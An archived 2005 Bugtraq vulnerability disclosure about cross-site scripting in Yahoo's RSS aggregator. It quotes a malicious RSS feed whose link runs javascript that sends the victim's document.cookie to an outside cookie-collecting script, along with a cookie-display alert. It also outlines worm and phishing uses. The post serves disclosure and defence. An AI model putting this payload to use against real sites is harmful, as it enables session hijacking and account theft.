bugtraq - Yahoo RSS XSS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20051017105616.12849.qmail@securityfocus.com>
Date: 17 Oct 2005 10:56:16 -0000
From: alljer@...il.com
To: bugtraq@...urityfocus.com
Subject: Yahoo RSS XSS Vulnerability

I recently began running some testing and discovered that when Yahoo's RSS Aggregator allows a person to add an RSS feed to It’s website, it doesn't properly check the XML file to make sure it doesn't contain possibly malicious code.

Full Document: http://www.alljer.com/yahoorssxss.htm

A malicious website could have a Add to My Yahoo button like the following: http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif with a link to the malicious XML file such as the following:
http://add.my.yahoo.com/rss?url=http://www.alljer.com/yahooxss.xml It could be disguised with javascript to look like a link to add a valid CNN feed. The malicious links could also be made to look like real headlines, or even grab headlines from CNN's RSS and replace the links with malicious code.

If you use the link you can see that by clicking the "Steal My Cookie" it would do just that. Clicking "Show My Cookie" will also simply show the cookie.

The malicious RSS feed is below:

<item>
<title>Steal My Cookie!</title>
<link>javascript:document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie;</link>
<description>Should Steal Your Cookie.</description> 
<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>
</item>
<item>
<title>Show My Cookie!</title>
<link>javascript:alert(document.cookie);</link>
<description>Should Steal Your Cookie.</description> 
<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>
</item>

The following is a screen shot of My Yahoo! with the injected code: http://www.alljer.com/yahooxss.jpg

This XSS can be even more dangerous when combined with recent security bugs found in the way AJAX is handled by certain browsers. ( http://secunia.com/advisories/16942/ ) And with the recent spreading of an XSS AJAX worm on MySpace it's critical for sites to validate all input being displayed on it's site through any means. ( http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391 ) There would be very little to keep someone from creating a similar worm that attacked My Yahoo members. It could be used to construct a massive phishing attack on Yahoo by loading a login page through AJAX and modifying it's post location, all while still running off the my.yahoo.com domain.

Yahoo was contacted about this vulnerability first on the 21st of September, and again on the 12th of October, giving a final cut off date of Oct 17th before going public with this information. No correspondence was received.

I was also able to wage this XSS attack against My.Msn.Com but it was resolved. I'm sure a few other sites that allow for a user to add an RSS feed are also vulnerable. Google's RSS aggregator on the other hand does not work with this attack.

Like any other method of displaying content from another site on your site, it is always best to validate this input. Even if the RSS feed you are displaying may be from a reputable source, trusting them implicitly to not have malicious code in the RSS stream would not be a wise idea.

Questions or comments contact me:
alljer@...il.com 
Jeremy Moeder 
http://www.alljer.com/yahoorssxss.htm